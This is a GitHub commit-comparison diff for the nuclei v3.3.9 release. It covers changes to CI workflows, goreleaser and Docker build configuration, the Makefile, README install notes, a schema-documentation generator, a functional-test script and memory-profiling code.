Compare commits

..
Author SHA1 Message Date
Sandeep Singh 24037001c8 Merge pull request #6021 from projectdiscovery/dev
nuclei v3.3.9
2025-02-13 18:57:24 +05:30
86 changed files with 524 additions and 1712 deletions

No files matched your search

+1 -8
View File
@@ -36,8 +36,6 @@ body:
description: |
Steps to reproduce the behavior, for example, commands to run Nuclei.
📝 For a more detailed output that could help in troubleshooting, you may want to run Nuclei with the **`-verbose`** or **`-debug`** flags. This will provide additional insights into what's happening under the hood.
:warning: **Please redact any literal target hosts/URLs or other sensitive information.**
placeholder: |
1. Run `nuclei -t ...`
@@ -46,12 +44,7 @@ body:
- type: textarea
attributes:
label: Relevant log output
description: |
Please copy and paste any relevant log output. This will be automatically formatted into code, so no need for backticks.
📝 For a more detailed output that could help in troubleshooting, you may want to run Nuclei with the **`-verbose`** or **`-debug`** flags. This will provide additional insights into what's happening under the hood.
:warning: **Please redact any literal target hosts/URLs or other sensitive information.**
description: Please copy and paste any relevant log output. This will be automatically formatted into code, so no need for backticks.
render: shell
- type: textarea
attributes:
+27
View File
@@ -0,0 +1,27 @@
# Number of days of inactivity before an issue becomes stale
daysUntilStale: 7
# Number of days of inactivity before a stale issue is closed
daysUntilClose: 7
# Issues with these labels will never be considered stale
# exemptLabels:
# - pinned
# - security
# Only issues or pull requests with all of these labels are check if stale.
onlyLabels:
- "Status: Abandoned"
- "Type: Question"
# Label to use when marking as stale
staleLabel: stale
# Comment to post when marking an issue as stale. Set to `false` to disable
markComment: >
This issue has been automatically marked as stale because it has not had
recent activity. It will be closed if no further activity occurs. Thank you
for your contributions.
# Comment to post when closing a stale issue. Set to `false` to disable
closeComment: false
+28
View File
@@ -0,0 +1,28 @@
name: ♾️ Compatibility Check
on:
pull_request:
types: [opened, synchronize]
branches:
- dev
jobs:
check:
if: github.actor == 'dependabot[bot]'
runs-on: ubuntu-latest
permissions:
contents: write
steps:
- uses: actions/checkout@v4
- uses: projectdiscovery/actions/setup/git@v1
- uses: projectdiscovery/actions/setup/go@v1
- run: go mod download && go mod verify && go vet ./...
- name: Checks go.mod Integrity
run: |
git diff --exit-code go.mod >/dev/null || {
echo "::warning::go.mod is out of sync. Pushing changes to the branch."
git add go.{mod,sum}
git commit -m "chore(deps): go mod tidy"
git push origin $GITHUB_REF
}
- uses: projectdiscovery/actions/goreleaser@v1
-19
View File
@@ -1,19 +0,0 @@
name: ♾️ Compatibility Checks
on:
pull_request:
types: [opened, synchronize]
branches:
- dev
jobs:
check:
if: github.actor == 'dependabot[bot]'
runs-on: ubuntu-latest
permissions:
contents: write
steps:
- uses: actions/checkout@v4
- uses: projectdiscovery/actions/setup/go/compat-checks@v1
with:
release-test: true
+47
View File
@@ -0,0 +1,47 @@
name: 🐳 Docker Push
on:
workflow_run:
workflows: ["🎉 Release Binary"]
types:
- completed
workflow_dispatch:
jobs:
docker:
runs-on: ubuntu-latest-16-cores
steps:
- name: Git Checkout
uses: actions/checkout@v4
- name: Get GitHub tag
id: meta
run: |
curl --silent "https://api.github.com/repos/projectdiscovery/nuclei/releases/latest" | jq -r .tag_name | xargs -I {} echo TAG={} >> $GITHUB_OUTPUT
- name: Set up QEMU
uses: docker/setup-qemu-action@v3
- name: Set up Docker Buildx
uses: docker/setup-buildx-action@v3
- name: Login to DockerHub
uses: docker/login-action@v3
with:
username: ${{ secrets.DOCKER_USERNAME }}
password: ${{ secrets.DOCKER_TOKEN }}
- name: Build and push
uses: docker/build-push-action@v6
with:
context: .
platforms: linux/amd64,linux/arm64
push: true
tags: projectdiscovery/nuclei:latest,projectdiscovery/nuclei:${{ steps.meta.outputs.TAG }}
- name: Update DockerHub Description
uses: peter-evans/dockerhub-description@v4
with:
username: ${{ secrets.DOCKER_USERNAME }}
password: ${{ secrets.DOCKER_TOKEN }}
repository: projectdiscovery/nuclei
-55
View File
@@ -1,55 +0,0 @@
name: 👤 Generate PGO
on:
push:
branches: ["dev"]
paths:
- '**.go'
- '**.mod'
workflow_dispatch:
concurrency:
group: ${{ github.workflow }}-${{ github.ref }}
cancel-in-progress: true
# TODO(dwisiswant0): https://go.dev/doc/pgo#merging-profiles
jobs:
pgo:
strategy:
matrix:
targets: [150]
runs-on: ubuntu-latest
if: github.repository == 'projectdiscovery/nuclei'
permissions:
contents: write
env:
PGO_FILE: "cmd/nuclei/default.pgo"
LIST_FILE: "/tmp/targets-${{ matrix.targets }}.txt"
PROFILE_MEM: "/tmp/nuclei-profile-${{ matrix.targets }}-targets"
steps:
- uses: actions/checkout@v4
- uses: projectdiscovery/actions/setup/git@v1
- uses: projectdiscovery/actions/setup/go@v1
- name: Generate list
run: for i in {1..${{ matrix.targets }}}; do echo "https://honey.scanme.sh/?_=${i}" >> "${LIST_FILE}"; done
# NOTE(dwisiswant0): use `-no-mhe` flag to get better samples.
- run: go run . -l "${LIST_FILE}" -profile-mem="${PROFILE_MEM}" -no-mhe
working-directory: cmd/nuclei/
- run: mv "${PROFILE_MEM}.cpu" ${PGO_FILE}
# NOTE(dwisiswant0): shall we prune $PGO_FILE git history?
# if we prune it, this won't be linear since it requires a force-push.
# if we don't, the git objects will just keep growing bigger.
#
# Ref:
# - https://go.dev/blog/pgo#:~:text=We%20recommend%20committing%20default.pgo%20files%20to%20your%20repository
# - https://gist.github.com/nottrobin/5758221
- uses: projectdiscovery/actions/commit@v1
with:
files: "${PGO_FILE}"
message: "build: update PGO profile :robot:"
- run: git push origin $GITHUB_REF
- uses: actions/upload-artifact@v4
with:
name: "pgo"
path: "${{ env.PGO_FILE }}"
-38
View File
@@ -1,38 +0,0 @@
name: 🔨 Performance Regression
on:
workflow_call:
workflow_dispatch:
jobs:
perf-regression:
runs-on: ubuntu-latest
if: github.repository == 'projectdiscovery/nuclei'
env:
BENCH_OUT: "/tmp/bench.out"
steps:
- uses: actions/checkout@v4
- uses: projectdiscovery/actions/setup/go@v1
- run: make build-test
- run: ./bin/nuclei.test -test.run - -test.bench=. -test.benchmem ./cmd/nuclei/ | tee $BENCH_OUT
env:
DISABLE_STDOUT: "1"
- uses: actions/cache/restore@v4
with:
path: ./cache
key: ${{ runner.os }}-benchmark
- uses: benchmark-action/github-action-benchmark@v1
with:
name: 'RunEnumeration Benchmark'
tool: 'go'
output-file-path: ${{ env.BENCH_OUT }}
external-data-json-path: ./cache/benchmark-data.json
fail-on-alert: false
github-token: ${{ secrets.GITHUB_TOKEN }}
comment-on-alert: true
summary-always: true
- uses: actions/cache/save@v4
if: github.event_name == 'push'
with:
path: ./cache
key: ${{ runner.os }}-benchmark
+10 -18
View File
@@ -10,7 +10,7 @@ jobs:
strategy:
matrix:
count: [50, 100, 150]
runs-on: ubuntu-latest
runs-on: ubuntu-latest-16-cores
if: github.repository == 'projectdiscovery/nuclei'
env:
LIST_FILE: "/tmp/targets-${{ matrix.count }}.txt"
@@ -20,24 +20,16 @@ jobs:
- uses: projectdiscovery/actions/setup/go@v1
- run: make verify
- name: Generate list
run: for i in {1..${{ matrix.count }}}; do echo "https://honey.scanme.sh/?_=${i}" >> "${LIST_FILE}"; done
- run: go run . -l "${LIST_FILE}" -profile-mem="${PROFILE_MEM}"
env:
NUCLEI_ARGS: host-error-stats
run: for i in {1..${{ matrix.count }}}; do echo "https://scanme.sh/?_=${i}" >> "${LIST_FILE}"; done
- run: NUCLEI_ARGS=host-error-stats go run . -l "${LIST_FILE}" -profile-mem="${PROFILE_MEM}"
working-directory: cmd/nuclei/
- uses: projectdiscovery/actions/flamegraph@v1
id: flamegraph-cpu
id: flamegraph
with:
profile: "${{ env.PROFILE_MEM }}.cpu"
name: "${{ env.FLAMEGRAPH_NAME }} CPU profiles"
profile: "${{ env.PROFILE_MEM }}.prof"
name: "nuclei-perf-test-${{ matrix.count }}"
continue-on-error: true
- uses: projectdiscovery/actions/flamegraph@v1
id: flamegraph-mem
with:
profile: "${{ env.PROFILE_MEM }}.mem"
name: "${{ env.FLAMEGRAPH_NAME }} memory profiles"
continue-on-error: true
- if: ${{ steps.flamegraph-mem.outputs.message == '' }}
run: |
echo "::notice::CPU flamegraph: ${{ steps.flamegraph-cpu.outputs.url }}"
echo "::notice::Memory (heap) flamegraph: ${{ steps.flamegraph-mem.outputs.url }}"
- if: ${{ steps.flamegraph.outputs.message == '' }}
run: echo "::notice::${FLAMEGRAPH_URL}"
env:
FLAMEGRAPH_URL: ${{ steps.flamegraph.outputs.url }}
-4
View File
@@ -14,10 +14,6 @@ jobs:
with:
fetch-depth: 0
- uses: projectdiscovery/actions/setup/go@v1
- uses: docker/login-action@v3
with:
username: ${{ secrets.DOCKER_USERNAME }}
password: ${{ secrets.DOCKER_TOKEN }}
- uses: projectdiscovery/actions/goreleaser@v1
with:
release: true
-41
View File
@@ -1,41 +0,0 @@
name: 💤 Stale
on:
schedule:
- cron: '0 0 * * 0' # Weekly
jobs:
stale:
runs-on: ubuntu-latest
permissions:
actions: write
contents: write # only for delete-branch option
issues: write
pull-requests: write
steps:
- uses: actions/stale@v9
with:
days-before-stale: 90
days-before-close: 7
stale-issue-label: "Status: Stale"
stale-pr-label: "Status: Stale"
stale-issue-message: >
This issue has been automatically marked as stale because it has not
had recent activity. It will be closed in 7 days if no further
activity occurs. Thank you for your contributions!
stale-pr-message: >
This pull request has been automatically marked as stale due to
inactivity. It will be closed in 7 days if no further activity
occurs. Please update if you wish to keep it open.
close-issue-message: >
This issue has been automatically closed due to inactivity. If you
think this is a mistake or would like to continue the discussion,
please comment or feel free to reopen it.
close-pr-message: >
This pull request has been automatically closed due to inactivity.
If you think this is a mistake or would like to continue working on
it, please comment or feel free to reopen it.
close-issue-label: "Status: Abandoned"
close-pr-label: "Status: Abandoned"
exempt-issue-labels: "Status: Abandoned"
exempt-pr-labels: "Status: Abandoned"
+12 -21
View File
@@ -74,7 +74,9 @@ jobs:
steps:
- uses: actions/checkout@v4
- uses: projectdiscovery/actions/setup/go@v1
- uses: projectdiscovery/actions/setup/python@v1
- uses: actions/setup-python@v5
with:
python-version: '3.10'
- run: bash run.sh "${{ matrix.os }}"
env:
GITHUB_TOKEN: "${{ secrets.GITHUB_TOKEN }}"
@@ -93,8 +95,7 @@ jobs:
steps:
- uses: actions/checkout@v4
- uses: projectdiscovery/actions/setup/go@v1
- uses: projectdiscovery/actions/setup/python@v1
- run: bash run.sh
- run: bash run.sh "${{ matrix.os }}"
env:
GITHUB_TOKEN: "${{ secrets.GITHUB_TOKEN }}"
working-directory: cmd/functional-test/
@@ -155,23 +156,13 @@ jobs:
echo "FLAMEGRAPH_NAME=nuclei (PR #${{ github.event.number }})" >> $GITHUB_ENV
- run: ./bin/nuclei -silent -update-templates
- run: ./bin/nuclei -silent -u "${TARGET_URL}" -profile-mem="${PROFILE_MEM}"
- uses: projectdiscovery/actions/flamegraph@v1
id: flamegraph-cpu
- uses: projectdiscovery/actions/flamegraph@master
id: flamegraph
with:
profile: "${{ env.PROFILE_MEM }}.cpu"
name: "${{ env.FLAMEGRAPH_NAME }} CPU profiles"
profile: "${{ env.PROFILE_MEM }}.prof"
name: "${{ env.FLAMEGRAPH_NAME }}"
continue-on-error: true
- uses: projectdiscovery/actions/flamegraph@v1
id: flamegraph-mem
with:
profile: "${{ env.PROFILE_MEM }}.mem"
name: "${{ env.FLAMEGRAPH_NAME }} memory profiles"
continue-on-error: true
- if: ${{ steps.flamegraph-mem.outputs.message == '' }}
run: |
echo "::notice::CPU flamegraph: ${{ steps.flamegraph-cpu.outputs.url }}"
echo "::notice::Memory (heap) flamegraph: ${{ steps.flamegraph-mem.outputs.url }}"
perf-regression:
needs: ["tests"]
uses: ./.github/workflows/perf-regression.yaml
- if: ${{ steps.flamegraph.outputs.message == '' }}
run: echo "::notice::${FLAMEGRAPH_URL}"
env:
FLAMEGRAPH_URL: ${{ steps.flamegraph.outputs.url }}
+1 -3
View File
@@ -48,6 +48,4 @@ vendor
# Profiling & tracing
*.prof
*.pprof
*.trace
*.mem
*.cpu
*.trace
+24 -94
View File
@@ -1,31 +1,27 @@
version: 2
before:
hooks:
- go mod download
- go mod verify
- go mod tidy
builds:
- main: cmd/nuclei/main.go
binary: nuclei
id: nuclei-cli
env:
- CGO_ENABLED=0
goos: [windows,linux,darwin]
goarch: [amd64,'386',arm,arm64]
ignore:
- goos: darwin
goarch: '386'
- goos: windows
goarch: arm
- goos: windows
goarch: arm64
flags:
- -trimpath
- -pgo=auto
ldflags:
- -s
- -w
- main: cmd/nuclei/main.go
binary: nuclei
id: nuclei-cli
env:
- CGO_ENABLED=0
goos: [windows,linux,darwin]
goarch: [amd64,386,arm,arm64]
ignore:
- goos: darwin
goarch: 386
- goos: windows
goarch: arm
- goos: windows
goarch: arm64
flags:
- -trimpath
#- main: cmd/tmc/main.go
# binary: tmc
@@ -38,80 +34,14 @@ builds:
# goarch: [amd64]
archives:
- format: zip
id: nuclei
builds: [nuclei-cli]
name_template: '{{ .ProjectName }}_{{ .Version }}_{{ if eq .Os "darwin" }}macOS{{ else }}{{ .Os }}{{ end }}_{{ .Arch }}'
- format: zip
id: nuclei
builds: [nuclei-cli]
name_template: '{{ .ProjectName }}_{{ .Version }}_{{ if eq .Os "darwin" }}macOS{{ else }}{{ .Os }}{{ end }}_{{ .Arch }}'
checksum:
algorithm: sha256
dockers:
- image_templates:
- "projectdiscovery/{{ .ProjectName }}:{{ .Tag }}-amd64"
- "projectdiscovery/{{ .ProjectName }}:v{{ .Major }}.{{ .Minor }}-amd64"
- "projectdiscovery/{{ .ProjectName }}:v{{ .Major }}-amd64"
- "projectdiscovery/{{ .ProjectName }}:latest-amd64"
dockerfile: Dockerfile.goreleaser
use: buildx
build_flag_templates:
- "--pull"
- "--platform=linux/amd64"
- "--label=org.opencontainers.image.created={{ .Date }}"
- "--label=org.opencontainers.image.ref.name={{ .Tag }}"
- "--label=org.opencontainers.image.revision={{ .FullCommit }}"
- "--label=org.opencontainers.image.version={{ .Version }}"
goarch: amd64
- image_templates:
- "projectdiscovery/{{ .ProjectName }}:{{ .Tag }}-arm64"
- "projectdiscovery/{{ .ProjectName }}:v{{ .Major }}.{{ .Minor }}-arm64"
- "projectdiscovery/{{ .ProjectName }}:v{{ .Major }}-arm64"
- "projectdiscovery/{{ .ProjectName }}:latest-arm64"
dockerfile: Dockerfile.goreleaser
use: buildx
build_flag_templates:
- "--pull"
- "--platform=linux/arm64"
- "--label=org.opencontainers.image.created={{ .Date }}"
- "--label=org.opencontainers.image.ref.name={{ .Tag }}"
- "--label=org.opencontainers.image.revision={{ .FullCommit }}"
- "--label=org.opencontainers.image.version={{ .Version }}"
goarch: arm64
# # NOTE(dwisiswant0): chromium doesn't support 32-bit on alpine
# - image_templates:
# - "projectdiscovery/{{ .ProjectName }}:{{ .Tag }}-386"
# - "projectdiscovery/{{ .ProjectName }}:v{{ .Major }}.{{ .Minor }}-386"
# - "projectdiscovery/{{ .ProjectName }}:v{{ .Major }}-386"
# - "projectdiscovery/{{ .ProjectName }}:latest-386"
# dockerfile: Dockerfile.goreleaser
# use: buildx
# build_flag_templates:
# - "--pull"
# - "--platform=linux/386"
# - "--label=org.opencontainers.image.created={{ .Date }}"
# - "--label=org.opencontainers.image.ref.name={{ .Tag }}"
# - "--label=org.opencontainers.image.revision={{ .FullCommit }}"
# - "--label=org.opencontainers.image.version={{ .Version }}"
# goarch: "386"
docker_manifests:
- name_template: "projectdiscovery/{{ .ProjectName }}:{{ .Tag }}"
image_templates:
- "projectdiscovery/{{ .ProjectName }}:{{ .Tag }}-amd64"
- "projectdiscovery/{{ .ProjectName }}:{{ .Tag }}-arm64"
- name_template: "projectdiscovery/{{ .ProjectName }}:v{{ .Major }}.{{ .Minor }}"
image_templates:
- "projectdiscovery/{{ .ProjectName }}:v{{ .Major }}.{{ .Minor }}-amd64"
- "projectdiscovery/{{ .ProjectName }}:v{{ .Major }}.{{ .Minor }}-arm64"
- name_template: "projectdiscovery/{{ .ProjectName }}:v{{ .Major }}"
image_templates:
- "projectdiscovery/{{ .ProjectName }}:v{{ .Major }}-amd64"
- "projectdiscovery/{{ .ProjectName }}:v{{ .Major }}-arm64"
- name_template: "projectdiscovery/{{ .ProjectName }}:latest"
image_templates:
- "projectdiscovery/{{ .ProjectName }}:latest-amd64"
- "projectdiscovery/{{ .ProjectName }}:latest-arm64"
announce:
slack:
enabled: true
+10 -17
View File
@@ -459,42 +459,35 @@ That's it, you've added a new protocol to Nuclei. The next good step would be to
## Profiling and Tracing
To analyze Nuclei's performance and resource usage, you can generate CPU & memory profiles and trace files using the `-profile-mem` flag:
To analyze Nuclei's performance and resource usage, you can generate memory profiles and trace files using the `-profile-mem` flag:
```bash
nuclei -t nuclei-templates/ -u https://example.com -profile-mem=nuclei-$(git describe --tags)
```
This command creates three files:
This command creates two files:
* `nuclei.cpu`: CPU profile
* `nuclei.mem`: Memory (heap) profile
* `nuclei.prof`: Memory (heap) profile
* `nuclei.trace`: Execution trace
### Analyzing the CPU/Memory Profiles
### Analyzing the Memory Profile
* View the profile in the terminal:
1. View the profile in the terminal:
```bash
go tool pprof nuclei.{cpu,mem}
go tool pprof nuclei.prof
```
* Display overall CPU time for processing $$N$$ targets:
```
go tool pprof -top nuclei.cpu | grep "Total samples"
```
* Display top memory consumers:
2. Display top memory consumers:
```bash
go tool pprof -top nuclei.mem | grep "$(go list -m)" | head -10
go tool pprof -top nuclei.prof | grep "$(go list -m)" | head -10
```
* Visualize the profile in a web browser:
3. Visualize the profile in a web browser:
```bash
go tool pprof -http=:$(shuf -i 1000-99999 -n 1) nuclei.{cpu,mem}
go tool pprof -http=:$(shuf -i 1000-99999 -n 1) nuclei.prof
```
### Analyzing the Trace File
+8 -9
View File
@@ -1,16 +1,15 @@
# Build
FROM golang:1.23-alpine AS builder
FROM golang:1.22-alpine AS build-env
RUN apk add build-base
WORKDIR /app
COPY . /app
RUN make verify
RUN make build
RUN go mod download
RUN go build ./cmd/nuclei
# Release
FROM alpine:latest
FROM alpine:3.18.6
RUN apk upgrade --no-cache \
&& apk add --no-cache bind-tools chromium ca-certificates
COPY --from=build-env /app/nuclei /usr/local/bin/
RUN apk add --no-cache bind-tools chromium ca-certificates
COPY --from=builder /app/bin/nuclei /usr/local/bin/
ENTRYPOINT ["nuclei"]
ENTRYPOINT ["nuclei"]
-12
View File
@@ -1,12 +0,0 @@
FROM alpine:latest
LABEL org.opencontainers.image.authors="ProjectDiscovery"
LABEL org.opencontainers.image.description="Nuclei is a fast, customizable vulnerability scanner powered by the global security community and built on a simple YAML-based DSL, enabling collaboration to tackle trending vulnerabilities on the internet. It helps you find vulnerabilities in your applications, APIs, networks, DNS, and cloud configurations."
LABEL org.opencontainers.image.licenses="MIT"
LABEL org.opencontainers.image.title="nuclei"
LABEL org.opencontainers.image.url="https://github.com/projectdiscovery/nuclei"
RUN apk add --no-cache bind-tools chromium ca-certificates
COPY nuclei /usr/local/bin/
ENTRYPOINT ["nuclei"]
+2 -11
View File
@@ -11,7 +11,7 @@ GOFLAGS := -v
LDFLAGS := -s -w
ifneq ($(shell go env GOOS),darwin)
LDFLAGS += -extldflags "-static"
LDFLAGS = -extldflags "-static"
endif
.PHONY: all build build-stats clean devtools-all devtools-bindgen devtools-scrapefuncs
@@ -26,22 +26,13 @@ clean:
go-build: clean
go-build:
CGO_ENABLED=0 $(GOBUILD) -trimpath $(GOFLAGS) -ldflags '${LDFLAGS}' $(GOBUILD_ADDITIONAL_ARGS) \
$(GOBUILD) $(GOFLAGS) -ldflags '${LDFLAGS}' $(GOBUILD_ADDITIONAL_ARGS) \
-o '${GOBUILD_OUTPUT}' $(GOBUILD_PACKAGES)
build: GOFLAGS = -v -pgo=auto
build: GOBUILD_OUTPUT = ./bin/nuclei
build: GOBUILD_PACKAGES = cmd/nuclei/main.go
build: go-build
build-test: GOFLAGS = -v -pgo=auto
build-test: GOBUILD_OUTPUT = ./bin/nuclei.test
build-test: GOBUILD_PACKAGES = ./cmd/nuclei/
build-test: clean
build-test:
CGO_ENABLED=0 $(GOCMD) test -c -trimpath $(GOFLAGS) -ldflags '${LDFLAGS}' $(GOBUILD_ADDITIONAL_ARGS) \
-o '${GOBUILD_OUTPUT}' ${GOBUILD_PACKAGES}
build-stats: GOBUILD_OUTPUT = ./bin/nuclei-stats
build-stats: GOBUILD_PACKAGES = cmd/nuclei/main.go
build-stats: GOBUILD_ADDITIONAL_ARGS = -tags=stats
+3 -3
View File
@@ -7,7 +7,7 @@
<a href="https://github.com/projectdiscovery/nuclei/blob/main/README_KR.md">`Korean`</a> •
<a href="https://github.com/projectdiscovery/nuclei/blob/main/README_ID.md">`Indonesia`</a> •
<a href="https://github.com/projectdiscovery/nuclei/blob/main/README_ES.md">`Spanish`</a> •
<a href="https://github.com/projectdiscovery/nuclei/blob/main/README_JP.md">`日本語`</a> •
<a href="https://github.com/projectdiscovery/nuclei/blob/main/README_JP.md">`日本語`</a>
<a href="https://github.com/projectdiscovery/nuclei/blob/main/README_PT-BR.md">`Portuguese`</a>
</div>
@@ -111,7 +111,7 @@ Browse the full Nuclei [**`documentation here`**](https://docs.projectdiscovery.
### Installation
`nuclei` requires **go1.23** to install successfully. Run the following command to get the repo:
`nuclei` requires **go1.22** to install successfully. Run the following command to get the repo:
```sh
go install -v github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest
@@ -395,7 +395,7 @@ nuclei -target https://example.com
Nuclei can handle bulk scanning by providing a list of targets. You can use a file containing multiple URLs.
```sh
nuclei -list urls.txt
nuclei -targets urls.txt
```
### Network scan
+1 -1
View File
@@ -33,7 +33,7 @@
<a href="https://github.com/projectdiscovery/nuclei/blob/main/README_CN.md">中文</a> •
<a href="https://github.com/projectdiscovery/nuclei/blob/main/README_KR.md">Korean</a> •
<a href="https://github.com/projectdiscovery/nuclei/blob/main/README_ID.md">Indonesia</a> •
<a href="https://github.com/projectdiscovery/nuclei/blob/main/README_ES.md">Spanish</a> •
<a href="https://github.com/projectdiscovery/nuclei/blob/main/README_ES.md">Spanish</a>
<a href="https://github.com/projectdiscovery/nuclei/blob/main/README_PT-BR.md">Portuguese</a>
</p>
+1 -1
View File
@@ -31,7 +31,7 @@
<a href="https://github.com/projectdiscovery/nuclei/blob/main/README_CN.md">中文</a> •
<a href="https://github.com/projectdiscovery/nuclei/blob/main/README_KR.md">Korean</a> •
<a href="https://github.com/projectdiscovery/nuclei/blob/main/README_ID.md">Indonesia</a> •
<a href="https://github.com/projectdiscovery/nuclei/blob/main/README_ES.md">Spanish</a> •
<a href="https://github.com/projectdiscovery/nuclei/blob/main/README_ES.md">Spanish</a>
<a href="https://github.com/projectdiscovery/nuclei/blob/main/README_PT-BR.md">Portuguese</a>
</p>
+1 -1
View File
@@ -33,7 +33,7 @@
<a href="https://github.com/projectdiscovery/nuclei/blob/main/README_CN.md">中文</a> •
<a href="https://github.com/projectdiscovery/nuclei/blob/main/README_KR.md">Korean</a> •
<a href="https://github.com/projectdiscovery/nuclei/blob/main/README_ID.md">Indonesia</a> •
<a href="https://github.com/projectdiscovery/nuclei/blob/main/README_ES.md">Spanish</a> •
<a href="https://github.com/projectdiscovery/nuclei/blob/main/README_ES.md">Spanish</a>
<a href="https://github.com/projectdiscovery/nuclei/blob/main/README_PT-BR.md">Portuguese</a>
</p>
+1 -1
View File
@@ -30,7 +30,7 @@
<a href="https://github.com/projectdiscovery/nuclei/blob/main/README_CN.md">中国語</a> •
<a href="https://github.com/projectdiscovery/nuclei/blob/main/README_KR.md">韓国語</a> •
<a href="https://github.com/projectdiscovery/nuclei/blob/main/README_ID.md">インドネシア語</a> •
<a href="https://github.com/projectdiscovery/nuclei/blob/main/README_ES.md">スペイン語</a> •
<a href="https://github.com/projectdiscovery/nuclei/blob/main/README_ES.md">スペイン語</a>
<a href="https://github.com/projectdiscovery/nuclei/blob/main/README_PT-BR.md">ポルトガル語</a>
</p>
+1 -1
View File
@@ -31,7 +31,7 @@
<a href="https://github.com/projectdiscovery/nuclei/blob/main/README.md">English</a> •
<a href="https://github.com/projectdiscovery/nuclei/blob/main/README_CN.md">中文</a> •
<a href="https://github.com/projectdiscovery/nuclei/blob/main/README_KR.md">한국어</a> •
<a href="https://github.com/projectdiscovery/nuclei/blob/main/README_ES.md">스페인어</a> •
<a href="https://github.com/projectdiscovery/nuclei/blob/main/README_ES.md">스페인어</a>
<a href="https://github.com/projectdiscovery/nuclei/blob/main/README_PT-BR.md">포르투갈어</a>
</p>
+1 -1
View File
@@ -31,7 +31,7 @@
<a href="https://github.com/projectdiscovery/nuclei/blob/main/README_CN.md">中文</a> •
<a href="https://github.com/projectdiscovery/nuclei/blob/main/README_KR.md">Korean</a> •
<a href="https://github.com/projectdiscovery/nuclei/blob/main/README_ID.md">Indonesia</a> •
<a href="https://github.com/projectdiscovery/nuclei/blob/main/README_ES.md">Spanish</a> •
<a href="https://github.com/projectdiscovery/nuclei/blob/main/README_ES.md">Spanish</a>
<a href="https://github.com/projectdiscovery/nuclei/blob/main/README_PT-BR.md">Portuguese</a>
</p>
+27 -32
View File
@@ -6,58 +6,53 @@ import (
"os"
"reflect"
"regexp"
"strings"
"github.com/invopop/jsonschema"
"github.com/projectdiscovery/nuclei/v3/pkg/templates"
"github.com/projectdiscovery/nuclei/v3/pkg/utils/json"
)
var pathRegex = regexp.MustCompile(`github\.com/projectdiscovery/nuclei/v3/(?:internal|pkg)/(?:.*/)?([A-Za-z.]+)`)
func writeToFile(filename string, data []byte) {
file, err := os.Create(filename)
if err != nil {
log.Fatalf("Could not create file %s: %s\n", filename, err)
}
defer file.Close()
_, err = file.Write(data)
if err != nil {
log.Fatalf("Could not write to file %s: %s\n", filename, err)
}
}
func main() {
if len(os.Args) < 3 {
log.Fatalf("syntax: %s md-docs-file jsonschema-file\n", os.Args[0])
}
// Generate YAML documentation
// Generate yaml syntax documentation
data, err := templates.GetTemplateDoc().Encode()
if err != nil {
log.Fatalf("Could not encode docs: %s\n", err)
}
writeToFile(os.Args[1], data)
// Generate JSON Schema
r := &jsonschema.Reflector{
Namer: func(t reflect.Type) string {
if t.Kind() == reflect.Slice {
return ""
}
return t.String()
},
if len(os.Args) < 3 {
log.Fatalf("syntax: %s md-docs-file jsonschema-file\n", os.Args[0])
}
err = os.WriteFile(os.Args[1], data, 0644)
if err != nil {
log.Fatalf("Could not write docs: %s\n", err)
}
// Generate jsonschema
r := &jsonschema.Reflector{}
r.Namer = func(r reflect.Type) string {
if r.Kind() == reflect.Slice {
return ""
}
return r.String()
}
jsonschemaData := r.Reflect(&templates.Template{})
var buf bytes.Buffer
encoder := json.NewEncoder(&buf)
encoder.SetIndent("", " ")
if err := encoder.Encode(jsonschemaData); err != nil {
log.Fatalf("Could not encode JSON schema: %s\n", err)
}
_ = encoder.Encode(jsonschemaData)
schema := pathRegex.ReplaceAllString(buf.String(), "$1")
writeToFile(os.Args[2], []byte(schema))
schema := buf.String()
for _, match := range pathRegex.FindAllStringSubmatch(schema, -1) {
schema = strings.ReplaceAll(schema, match[0], match[1])
}
err = os.WriteFile(os.Args[2], []byte(schema), 0644)
if err != nil {
log.Fatalf("Could not write jsonschema: %s\n", err)
}
}
+1 -1
View File
@@ -27,7 +27,7 @@ var (
func main() {
flag.Parse()
debug := os.Getenv("DEBUG") == "true" || os.Getenv("RUNNER_DEBUG") == "1"
debug := os.Getenv("DEBUG") == "true"
if err, errored := runFunctionalTests(debug); err != nil {
log.Fatalf("Could not run functional tests: %s\n", err)
+11 -27
View File
@@ -1,43 +1,27 @@
#!/bin/bash
if [ "${RUNNER_OS}" == "Windows" ]; then
EXT=".exe"
elif [ "${RUNNER_OS}" == "macOS" ]; then
if [ "${CI}" == "true" ]; then
sudo sysctl -w kern.maxfiles{,perproc}=524288
sudo launchctl limit maxfiles 65536 524288
fi
# reading os type from arguments
CURRENT_OS=$1
ORIGINAL_ULIMIT="$(ulimit -n)"
ulimit -n 65536 || true
if [ "${CURRENT_OS}" == "windows-latest" ];then
extension=.exe
fi
mkdir -p .nuclei-config/nuclei/
touch .nuclei-config/nuclei/.nuclei-ignore
echo "::group::Building functional-test binary"
go build -o "functional-test${EXT}"
go build -o functional-test$extension
echo "::endgroup::"
echo "::group::Building Nuclei binary from current branch"
go build -o "nuclei-dev${EXT}" ../nuclei
echo "::endgroup::"
echo "::group::Building latest release of nuclei"
go build -o "nuclei${EXT}" -v github.com/projectdiscovery/nuclei/v3/cmd/nuclei
go build -o nuclei_dev$extension ../nuclei
echo "::endgroup::"
echo "::group::Installing nuclei templates"
eval "./nuclei-dev${EXT} -update-templates"
./nuclei_dev$extension -update-templates
echo "::endgroup::"
echo "::group::Validating templates"
eval "./nuclei-dev${EXT} -validate"
echo "::group::Building latest release of nuclei"
go build -o nuclei$extension -v github.com/projectdiscovery/nuclei/v3/cmd/nuclei
echo "::endgroup::"
echo "Starting Nuclei functional test"
eval "./functional-test${EXT} -main ./nuclei${EXT} -dev ./nuclei-dev${EXT} -testcases testcases.txt"
if [ "${RUNNER_OS}" == "macOS" ]; then
ulimit -n "${ORIGINAL_ULIMIT}" || true
fi
echo 'Starting Nuclei functional test'
./functional-test$extension -main ./nuclei$extension -dev ./nuclei_dev$extension -testcases testcases.txt
+13 -33
View File
@@ -106,19 +106,17 @@ func main() {
// Profiling & tracing related code
if memProfile != "" {
memProfile = strings.TrimSuffix(memProfile, filepath.Ext(memProfile))
createProfileFile := func(ext, profileType string) *os.File {
f, err := os.Create(memProfile + ext)
if err != nil {
gologger.Fatal().Msgf("profile: could not create %s profile %q file: %v", profileType, f.Name(), err)
}
return f
memProfile = strings.TrimSuffix(memProfile, filepath.Ext(memProfile)) + ".prof"
memProfileFile, err := os.Create(memProfile)
if err != nil {
gologger.Fatal().Msgf("profile: could not create memory profile %q file: %v", memProfile, err)
}
memProfileFile := createProfileFile(".mem", "memory")
